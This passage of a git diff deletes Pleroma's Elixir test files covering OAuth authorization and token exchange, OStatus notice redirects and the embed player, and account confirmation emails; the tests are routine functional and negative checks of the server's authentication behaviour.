conn} do - conn = - get( - conn, - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "scope" => "read" - } - ) - - assert html_response(conn, 200) =~ ~s(type="submit") - end - - test "properly handles internal calls with `authorization`-wrapped params", %{ - app: app, - conn: conn - } do - conn = - get( - conn, - "/oauth/authorize", - %{ - "authorization" => %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "scope" => "read" - } - } - ) - - assert html_response(conn, 200) =~ ~s(type="submit") - end - - test "renders authentication page if user is already authenticated but `force_login` is tru-ish", - %{app: app, conn: conn} do - token = insert(:oauth_token, app: app) - - conn = - conn - |> put_session(:oauth_token, token.token) - |> get( - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "scope" => "read", - "force_login" => "true" - } - ) - - assert html_response(conn, 200) =~ ~s(type="submit") - end - - test "renders authentication page if user is already authenticated but user request with another client", - %{ - app: app, - conn: conn - } do - token = insert(:oauth_token, app: app) - - conn = - conn - |> put_session(:oauth_token, token.token) - |> get( - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => "another_client_id", - "redirect_uri" => OAuthController.default_redirect_uri(app), - "scope" => "read" - } - ) - - assert html_response(conn, 200) =~ ~s(type="submit") - end - - test "with existing authentication and non-OOB `redirect_uri`, redirects to app with `token` and `state` params", - %{ - app: app, - conn: conn - } do - token = insert(:oauth_token, app: app) - - conn = - conn - |> put_session(:oauth_token, token.token) - |> get( - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "specific_client_state", - "scope" => "read" - } - ) - - assert URI.decode(redirected_to(conn)) == - "https://redirect.url?access_token=#{token.token}&state=specific_client_state" - end - - test "with existing authentication and unlisted non-OOB `redirect_uri`, redirects without credentials", - %{ - app: app, - conn: conn - } do - unlisted_redirect_uri = "http://cross-site-request.com" - token = insert(:oauth_token, app: app) - - conn = - conn - |> put_session(:oauth_token, token.token) - |> get( - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => unlisted_redirect_uri, - "state" => "specific_client_state", - "scope" => "read" - } - ) - - assert redirected_to(conn) == unlisted_redirect_uri - end - - test "with existing authentication and OOB `redirect_uri`, redirects to app with `token` and `state` params", - %{ - app: app, - conn: conn - } do - token = insert(:oauth_token, app: app) - - conn = - conn - |> put_session(:oauth_token, token.token) - |> get( - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", - "scope" => "read" - } - ) - - assert html_response(conn, 200) =~ "Authorization exists" - end - end - - describe "POST /oauth/authorize" do - test "redirects with oauth authorization, " <> - "granting requested app-supported scopes to both admin- and non-admin users" do - app_scopes = ["read", "write", "admin", "secret_scope"] - app = insert(:oauth_app, scopes: app_scopes) - redirect_uri = OAuthController.default_redirect_uri(app) - - non_admin = insert(:user, is_admin: false) - admin = insert(:user, is_admin: true) - scopes_subset = ["read:subscope", "write", "admin"] - - # In case scope param is missing, expecting _all_ app-supported scopes to be granted - for user <- [non_admin, admin], - {requested_scopes, expected_scopes} <- - %{scopes_subset => scopes_subset, nil: app_scopes} do - conn = - post( - build_conn(), - "/oauth/authorize", - %{ - "authorization" => %{ - "name" => user.nickname, - "password" => "test", - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "scope" => requested_scopes, - "state" => "statepassed" - } - } - ) - - target = redirected_to(conn) - assert target =~ redirect_uri - - query = URI.parse(target).query |> URI.query_decoder() |> Map.new() - - assert %{"state" => "statepassed", "code" => code} = query - auth = Repo.get_by(Authorization, token: code) - assert auth - assert auth.scopes == expected_scopes - end - end - - test "redirect to on two-factor auth page" do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - app = insert(:oauth_app, scopes: ["read", "write", "follow"]) - - conn = - build_conn() - |> post("/oauth/authorize", %{ - "authorization" => %{ - "name" => user.nickname, - "password" => "test", - "client_id" => app.client_id, - "redirect_uri" => app.redirect_uris, - "scope" => "read write", - "state" => "statepassed" - } - }) - - result = html_response(conn, 200) - - mfa_token = Repo.get_by(MFA.Token, user_id: user.id) - assert result =~ app.redirect_uris - assert result =~ "statepassed" - assert result =~ mfa_token.token - assert result =~ "Two-factor authentication" - end - - test "returns 401 for wrong credentials", %{conn: conn} do - user = insert(:user) - app = insert(:oauth_app) - redirect_uri = OAuthController.default_redirect_uri(app) - - result = - conn - |> post("/oauth/authorize", %{ - "authorization" => %{ - "name" => user.nickname, - "password" => "wrong", - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "statepassed", - "scope" => Enum.join(app.scopes, " ") - } - }) - |> html_response(:unauthorized) - - # Keep the details - assert result =~ app.client_id - assert result =~ redirect_uri - - # Error message - assert result =~ "Invalid Username/Password" - end - - test "returns 401 for missing scopes" do - user = insert(:user, is_admin: false) - app = insert(:oauth_app, scopes: ["read", "write", "admin"]) - redirect_uri = OAuthController.default_redirect_uri(app) - - result = - build_conn() - |> post("/oauth/authorize", %{ - "authorization" => %{ - "name" => user.nickname, - "password" => "test", - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "statepassed", - "scope" => "" - } - }) - |> html_response(:unauthorized) - - # Keep the details - assert result =~ app.client_id - assert result =~ redirect_uri - - # Error message - assert result =~ "This action is outside the authorized scopes" - end - - test "returns 401 for scopes beyond app scopes hierarchy", %{conn: conn} do - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - redirect_uri = OAuthController.default_redirect_uri(app) - - result = - conn - |> post("/oauth/authorize", %{ - "authorization" => %{ - "name" => user.nickname, - "password" => "test", - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "statepassed", - "scope" => "read write follow" - } - }) - |> html_response(:unauthorized) - - # Keep the details - assert result =~ app.client_id - assert result =~ redirect_uri - - # Error message - assert result =~ "This action is outside the authorized scopes" - end - end - - describe "POST /oauth/token" do - test "issues a token for an all-body request" do - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "authorization_code", - "code" => auth.token, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token, "me" => ap_id} = json_response(conn, 200) - - token = Repo.get_by(Token, token: token) - assert token - assert token.scopes == auth.scopes - assert user.ap_id == ap_id - end - - test "issues a token for `password` grant_type with valid credentials, with full permissions by default" do - password = "testpassword" - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) - - app = insert(:oauth_app, scopes: ["read", "write"]) - - # Note: "scope" param is intentionally omitted - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token} = json_response(conn, 200) - - token = Repo.get_by(Token, token: token) - assert token - assert token.scopes == app.scopes - end - - test "issues a mfa token for `password` grant_type, when MFA enabled" do - password = "testpassword" - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - password_hash: Pbkdf2.hash_pwd_salt(password), - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - app = insert(:oauth_app, scopes: ["read", "write"]) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(403) - - assert match?( - %{ - "supported_challenge_types" => "totp", - "mfa_token" => _, - "error" => "mfa_required" - }, - response - ) - - token = Repo.get_by(MFA.Token, token: response["mfa_token"]) - assert token.user_id == user.id - assert token.authorization_id - end - - test "issues a token for request with HTTP basic auth client credentials" do - user = insert(:user) - app = insert(:oauth_app, scopes: ["scope1", "scope2", "scope3"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["scope1", "scope2"]) - assert auth.scopes == ["scope1", "scope2"] - - app_encoded = - (URI.encode_www_form(app.client_id) <> ":" <> URI.encode_www_form(app.client_secret)) - |> Base.encode64() - - conn = - build_conn() - |> put_req_header("authorization", "Basic " <> app_encoded) - |> post("/oauth/token", %{ - "grant_type" => "authorization_code", - "code" => auth.token, - "redirect_uri" => OAuthController.default_redirect_uri(app) - }) - - assert %{"access_token" => token, "scope" => scope} = json_response(conn, 200) - - assert scope == "scope1 scope2" - - token = Repo.get_by(Token, token: token) - assert token - assert token.scopes == ["scope1", "scope2"] - end - - test "issue a token for client_credentials grant type" do - app = insert(:oauth_app, scopes: ["read", "write"]) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "client_credentials", - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = - json_response(conn, 200) - - assert token - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - assert refresh - assert scope == "read write" - end - - test "rejects token exchange with invalid client credentials" do - user = insert(:user) - app = insert(:oauth_app) - - {:ok, auth} = Authorization.create_authorization(app, user) - - conn = - build_conn() - |> put_req_header("authorization", "Basic JTIxOiVGMCU5RiVBNCVCNwo=") - |> post("/oauth/token", %{ - "grant_type" => "authorization_code", - "code" => auth.token, - "redirect_uri" => OAuthController.default_redirect_uri(app) - }) - - assert resp = json_response(conn, 400) - assert %{"error" => _} = resp - refute Map.has_key?(resp, "access_token") - end - - test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do - Pleroma.Config.put([:instance, :account_activation_required], true) - password = "testpassword" - - {:ok, user} = - insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) - |> User.confirmation_changeset(need_confirmation: true) - |> User.update_and_set_cache() - - refute Pleroma.User.account_status(user) == :active - - app = insert(:oauth_app) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert resp = json_response(conn, 403) - assert %{"error" => _} = resp - refute Map.has_key?(resp, "access_token") - end - - test "rejects token exchange for valid credentials belonging to deactivated user" do - password = "testpassword" - - user = - insert(:user, - password_hash: Pbkdf2.hash_pwd_salt(password), - deactivated: true - ) - - app = insert(:oauth_app) - - resp = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(403) - - assert resp == %{ - "error" => "Your account is currently disabled", - "identifier" => "account_is_disabled" - } - end - - test "rejects token exchange for user with password_reset_pending set to true" do - password = "testpassword" - - user = - insert(:user, - password_hash: Pbkdf2.hash_pwd_salt(password), - password_reset_pending: true - ) - - app = insert(:oauth_app, scopes: ["read", "write"]) - - resp = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(403) - - assert resp == %{ - "error" => "Password reset is required", - "identifier" => "password_reset_required" - } - end - - test "rejects token exchange for user with confirmation_pending set to true" do - Pleroma.Config.put([:instance, :account_activation_required], true) - password = "testpassword" - - user = - insert(:user, - password_hash: Pbkdf2.hash_pwd_salt(password), - confirmation_pending: true - ) - - app = insert(:oauth_app, scopes: ["read", "write"]) - - resp = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(403) - - assert resp == %{ - "error" => "Your login is missing a confirmed e-mail address", - "identifier" => "missing_confirmed_email" - } - end - - test "rejects token exchange for valid credentials belonging to an unapproved user" do - password = "testpassword" - - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password), approval_pending: true) - - refute Pleroma.User.account_status(user) == :active - - app = insert(:oauth_app) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert resp = json_response(conn, 403) - assert %{"error" => _} = resp - refute Map.has_key?(resp, "access_token") - end - - test "rejects an invalid authorization code" do - app = insert(:oauth_app) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "authorization_code", - "code" => "Imobviouslyinvalid", - "redirect_uri" => OAuthController.default_redirect_uri(app), - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert resp = json_response(conn, 400) - assert %{"error" => _} = json_response(conn, 400) - refute Map.has_key?(resp, "access_token") - end - end - - describe "POST /oauth/token - refresh token" do - setup do: clear_config([:oauth2, :issue_new_refresh_token]) - - test "issues a new access token with keep fresh token" do - Pleroma.Config.put([:oauth2, :issue_new_refresh_token], true) - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) - {:ok, token} = Token.exchange_token(app, auth) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "refresh_token", - "refresh_token" => token.refresh_token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(200) - - ap_id = user.ap_id - - assert match?( - %{ - "scope" => "write", - "token_type" => "Bearer", - "expires_in" => 600, - "access_token" => _, - "refresh_token" => _, - "me" => ^ap_id - }, - response - ) - - refute Repo.get_by(Token, token: token.token) - new_token = Repo.get_by(Token, token: response["access_token"]) - assert new_token.refresh_token == token.refresh_token - assert new_token.scopes == auth.scopes - assert new_token.user_id == user.id - assert new_token.app_id == app.id - end - - test "issues a new access token with new fresh token" do - Pleroma.Config.put([:oauth2, :issue_new_refresh_token], false) - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) - {:ok, token} = Token.exchange_token(app, auth) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "refresh_token", - "refresh_token" => token.refresh_token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(200) - - ap_id = user.ap_id - - assert match?( - %{ - "scope" => "write", - "token_type" => "Bearer", - "expires_in" => 600, - "access_token" => _, - "refresh_token" => _, - "me" => ^ap_id - }, - response - ) - - refute Repo.get_by(Token, token: token.token) - new_token = Repo.get_by(Token, token: response["access_token"]) - refute new_token.refresh_token == token.refresh_token - assert new_token.scopes == auth.scopes - assert new_token.user_id == user.id - assert new_token.app_id == app.id - end - - test "returns 400 if we try use access token" do - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) - {:ok, token} = Token.exchange_token(app, auth) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "refresh_token", - "refresh_token" => token.token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(400) - - assert %{"error" => "Invalid credentials"} == response - end - - test "returns 400 if refresh_token invalid" do - app = insert(:oauth_app, scopes: ["read", "write"]) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "refresh_token", - "refresh_token" => "token.refresh_token", - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(400) - - assert %{"error" => "Invalid credentials"} == response - end - - test "issues a new token if token expired" do - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) - {:ok, token} = Token.exchange_token(app, auth) - - change = - Ecto.Changeset.change( - token, - %{valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -86_400 * 30)} - ) - - {:ok, access_token} = Repo.update(change) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "refresh_token", - "refresh_token" => access_token.refresh_token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(200) - - ap_id = user.ap_id - - assert match?( - %{ - "scope" => "write", - "token_type" => "Bearer", - "expires_in" => 600, - "access_token" => _, - "refresh_token" => _, - "me" => ^ap_id - }, - response - ) - - refute Repo.get_by(Token, token: token.token) - token = Repo.get_by(Token, token: response["access_token"]) - assert token - assert token.scopes == auth.scopes - assert token.user_id == user.id - assert token.app_id == app.id - end - end - - describe "POST /oauth/token - bad request" do - test "returns 500" do - response = - build_conn() - |> post("/oauth/token", %{}) - |> json_response(500) - - assert %{"error" => "Bad request"} == response - end - end - - describe "POST /oauth/revoke - bad request" do - test "returns 500" do - response = - build_conn() - |> post("/oauth/revoke", %{}) - |> json_response(500) - - assert %{"error" => "Bad request"} == response - end - end -end diff --git a/test/web/oauth/token/utils_test.exs b/test/web/oauth/token/utils_test.exs deleted file mode 100644 index a610d92f8..000000000 --- a/test/web/oauth/token/utils_test.exs +++ /dev/null @@ -1,53 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.Token.UtilsTest do - use Pleroma.DataCase - alias Pleroma.Web.OAuth.Token.Utils - import Pleroma.Factory - - describe "fetch_app/1" do - test "returns error when credentials is invalid" do - assert {:error, :not_found} = - Utils.fetch_app(%Plug.Conn{params: %{"client_id" => 1, "client_secret" => "x"}}) - end - - test "returns App by params credentails" do - app = insert(:oauth_app) - - assert {:ok, load_app} = - Utils.fetch_app(%Plug.Conn{ - params: %{"client_id" => app.client_id, "client_secret" => app.client_secret} - }) - - assert load_app == app - end - - test "returns App by header credentails" do - app = insert(:oauth_app) - header = "Basic " <> Base.encode64("#{app.client_id}:#{app.client_secret}") - - conn = - %Plug.Conn{} - |> Plug.Conn.put_req_header("authorization", header) - - assert {:ok, load_app} = Utils.fetch_app(conn) - assert load_app == app - end - end - - describe "format_created_at/1" do - test "returns formatted created at" do - token = insert(:oauth_token) - date = Utils.format_created_at(token) - - token_date = - token.inserted_at - |> DateTime.from_naive!("Etc/UTC") - |> DateTime.to_unix() - - assert token_date == date - end - end -end diff --git a/test/web/oauth/token_test.exs b/test/web/oauth/token_test.exs deleted file mode 100644 index c88b9cc98..000000000 --- a/test/web/oauth/token_test.exs +++ /dev/null @@ -1,72 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.TokenTest do - use Pleroma.DataCase - alias Pleroma.Repo - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.Token - - import Pleroma.Factory - - test "exchanges a auth token for an access token, preserving `scopes`" do - {:ok, app} = - Repo.insert( - App.register_changeset(%App{}, %{ - client_name: "client", - scopes: ["read", "write"], - redirect_uris: "url" - }) - ) - - user = insert(:user) - - {:ok, auth} = Authorization.create_authorization(app, user, ["read"]) - assert auth.scopes == ["read"] - - {:ok, token} = Token.exchange_token(app, auth) - - assert token.app_id == app.id - assert token.user_id == user.id - assert token.scopes == auth.scopes - assert String.length(token.token) > 10 - assert String.length(token.refresh_token) > 10 - - auth = Repo.get(Authorization, auth.id) - {:error, "already used"} = Token.exchange_token(app, auth) - end - - test "deletes all tokens of a user" do - {:ok, app1} = - Repo.insert( - App.register_changeset(%App{}, %{ - client_name: "client1", - scopes: ["scope"], - redirect_uris: "url" - }) - ) - - {:ok, app2} = - Repo.insert( - App.register_changeset(%App{}, %{ - client_name: "client2", - scopes: ["scope"], - redirect_uris: "url" - }) - ) - - user = insert(:user) - - {:ok, auth1} = Authorization.create_authorization(app1, user) - {:ok, auth2} = Authorization.create_authorization(app2, user) - - {:ok, _token1} = Token.exchange_token(app1, auth1) - {:ok, _token2} = Token.exchange_token(app2, auth2) - - {tokens, _} = Token.delete_user_tokens(user) - - assert tokens == 2 - end -end diff --git a/test/web/ostatus/ostatus_controller_test.exs b/test/web/ostatus/ostatus_controller_test.exs deleted file mode 100644 index ee498f4b5..000000000 --- a/test/web/ostatus/ostatus_controller_test.exs +++ /dev/null @@ -1,338 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OStatus.OStatusControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Endpoint - - require Pleroma.Constants - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance, :federating], true) - - describe "Mastodon compatibility routes" do - setup %{conn: conn} do - conn = put_req_header(conn, "accept", "text/html") - - {:ok, object} = - %{ - "type" => "Note", - "content" => "hey", - "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", - "actor" => Endpoint.url() <> "/users/raymoo", - "to" => [Pleroma.Constants.as_public()] - } - |> Object.create() - - {:ok, activity, _} = - %{ - "id" => object.data["id"] <> "/activity", - "type" => "Create", - "object" => object.data["id"], - "actor" => object.data["actor"], - "to" => object.data["to"] - } - |> ActivityPub.persist(local: true) - - %{conn: conn, activity: activity} - end - - test "redirects to /notice/:id for html format", %{conn: conn, activity: activity} do - conn = get(conn, "/users/raymoo/statuses/999999999") - assert redirected_to(conn) == "/notice/#{activity.id}" - end - - test "redirects to /notice/:id for html format for activity", %{ - conn: conn, - activity: activity - } do - conn = get(conn, "/users/raymoo/statuses/999999999/activity") - assert redirected_to(conn) == "/notice/#{activity.id}" - end - end - - # Note: see ActivityPubControllerTest for JSON format tests - describe "GET /objects/:uuid (text/html)" do - setup %{conn: conn} do - conn = put_req_header(conn, "accept", "text/html") - %{conn: conn} - end - - test "redirects to /notice/id for html format", %{conn: conn} do - note_activity = insert(:note_activity) - object = Object.normalize(note_activity) - [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"])) - url = "/objects/#{uuid}" - - conn = get(conn, url) - assert redirected_to(conn) == "/notice/#{note_activity.id}" - end - - test "404s on private objects", %{conn: conn} do - note_activity = insert(:direct_note_activity) - object = Object.normalize(note_activity) - [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"])) - - conn - |> get("/objects/#{uuid}") - |> response(404) - end - - test "404s on non-existing objects", %{conn: conn} do - conn - |> get("/objects/123") - |> response(404) - end - end - - # Note: see ActivityPubControllerTest for JSON format tests - describe "GET /activities/:uuid (text/html)" do - setup %{conn: conn} do - conn = put_req_header(conn, "accept", "text/html") - %{conn: conn} - end - - test "redirects to /notice/id for html format", %{conn: conn} do - note_activity = insert(:note_activity) - [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"])) - - conn = get(conn, "/activities/#{uuid}") - assert redirected_to(conn) == "/notice/#{note_activity.id}" - end - - test "404s on private activities", %{conn: conn} do - note_activity = insert(:direct_note_activity) - [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"])) - - conn - |> get("/activities/#{uuid}") - |> response(404) - end - - test "404s on nonexistent activities", %{conn: conn} do - conn - |> get("/activities/123") - |> response(404) - end - end - - describe "GET notice/2" do - test "redirects to a proper object URL when json requested and the object is local", %{ - conn: conn - } do - note_activity = insert(:note_activity) - expected_redirect_url = Object.normalize(note_activity).data["id"] - - redirect_url = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/notice/#{note_activity.id}") - |> redirected_to() - - assert redirect_url == expected_redirect_url - end - - test "returns a 404 on remote notice when json requested", %{conn: conn} do - note_activity = insert(:note_activity, local: false) - - conn - |> put_req_header("accept", "application/activity+json") - |> get("/notice/#{note_activity.id}") - |> response(404) - end - - test "500s when actor not found", %{conn: conn} do - note_activity = insert(:note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - User.invalidate_cache(user) - Pleroma.Repo.delete(user) - - conn = - conn - |> get("/notice/#{note_activity.id}") - - assert response(conn, 500) == ~S({"error":"Something went wrong"}) - end - - test "render html for redirect for html format", %{conn: conn} do - note_activity = insert(:note_activity) - - resp = - conn - |> put_req_header("accept", "text/html") - |> get("/notice/#{note_activity.id}") - |> response(200) - - assert resp =~ - "<meta content=\"#{Pleroma.Web.base_url()}/notice/#{note_activity.id}\" property=\"og:url\">" - - user = insert(:user) - - {:ok, like_activity} = CommonAPI.favorite(user, note_activity.id) - - assert like_activity.data["type"] == "Like" - - resp = - conn - |> put_req_header("accept", "text/html") - |> get("/notice/#{like_activity.id}") - |> response(200) - - assert resp =~ "<!--server-generated-meta-->" - end - - test "404s a private notice", %{conn: conn} do - note_activity = insert(:direct_note_activity) - url = "/notice/#{note_activity.id}" - - conn = - conn - |> get(url) - - assert response(conn, 404) - end - - test "404s a non-existing notice", %{conn: conn} do - url = "/notice/123" - - conn = - conn - |> get(url) - - assert response(conn, 404) - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - note_activity = insert(:note_activity) - - conn = put_req_header(conn, "accept", "text/html") - - ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}", user) - end - end - - describe "GET /notice/:id/embed_player" do - setup do - note_activity = insert(:note_activity) - object = Pleroma.Object.normalize(note_activity) - - object_data = - Map.put(object.data, "attachment", [ - %{ - "url" => [ - %{ - "href" => - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ]) - - object - |> Ecto.Changeset.change(data: object_data) - |> Pleroma.Repo.update() - - %{note_activity: note_activity} - end - - test "renders embed player", %{conn: conn, note_activity: note_activity} do - conn = get(conn, "/notice/#{note_activity.id}/embed_player") - - assert Plug.Conn.get_resp_header(conn, "x-frame-options") == ["ALLOW"] - - assert Plug.Conn.get_resp_header( - conn, - "content-security-policy" - ) == [ - "default-src 'none';style-src 'self' 'unsafe-inline';img-src 'self' data: https:; media-src 'self' https:;" - ] - - assert response(conn, 200) =~ - "<video controls loop><source src=\"https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4\" type=\"video/mp4\">Your browser does not support video/mp4 playback.</video>" - end - - test "404s when activity isn't create", %{conn: conn} do - note_activity = insert(:note_activity, data_attrs: %{"type" => "Like"}) - - assert conn - |> get("/notice/#{note_activity.id}/embed_player") - |> response(404) - end - - test "404s when activity is direct message", %{conn: conn} do - note_activity = insert(:note_activity, data_attrs: %{"directMessage" => true}) - - assert conn - |> get("/notice/#{note_activity.id}/embed_player") - |> response(404) - end - - test "404s when attachment is empty", %{conn: conn} do - note_activity = insert(:note_activity) - object = Pleroma.Object.normalize(note_activity) - object_data = Map.put(object.data, "attachment", []) - - object - |> Ecto.Changeset.change(data: object_data) - |> Pleroma.Repo.update() - - assert conn - |> get("/notice/#{note_activity.id}/embed_player") - |> response(404) - end - - test "404s when attachment isn't audio or video", %{conn: conn} do - note_activity = insert(:note_activity) - object = Pleroma.Object.normalize(note_activity) - - object_data = - Map.put(object.data, "attachment", [ - %{ - "url" => [ - %{ - "href" => "https://peertube.moe/static/webseed/480.jpg", - "mediaType" => "image/jpg", - "type" => "Link" - } - ] - } - ]) - - object - |> Ecto.Changeset.change(data: object_data) - |> Pleroma.Repo.update() - - conn - |> get("/notice/#{note_activity.id}/embed_player") - |> response(404) - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn, - note_activity: note_activity - } do - user = insert(:user) - conn = put_req_header(conn, "accept", "text/html") - - ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}/embed_player", user) - end - end -end diff --git a/test/web/pleroma_api/controllers/account_controller_test.exs b/test/web/pleroma_api/controllers/account_controller_test.exs deleted file mode 100644 index 07909d48b..000000000 --- a/test/web/pleroma_api/controllers/account_controller_test.exs +++ /dev/null @@ -1,284 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.AccountControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Config - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - import Swoosh.TestAssertions - - describe "POST /api/v1/pleroma/accounts/confirmation_resend" do - setup do - {:ok, user} = - insert(:user) - |> User.confirmation_changeset(need_confirmation: true) - |> User.update_and_set_cache() - - assert user.confirmation_pending - - [user: user] - end - - setup do: clear_config([:instance, :account_activation_required], true) - - test "resend account confirmation email", %{conn: conn, user: user} do - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/accounts/confirmation_resend?email=#{user.email}") - |> json_response_and_validate_schema(:no_content) - - ObanHelpers.perform_all() - - email = Pleroma.Emails.UserEmail.account_confirmation_email(user) - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - - test "resend account confirmation email (with nickname)", %{conn: conn, user: user} do - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/accounts/confirmation_resend?nickname=#{user.nickname}") - |> json_response_and_validate_schema(:no_content) - - ObanHelpers.perform_all() - - email = Pleroma.Emails.UserEmail.account_confirmation_email(user) - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, 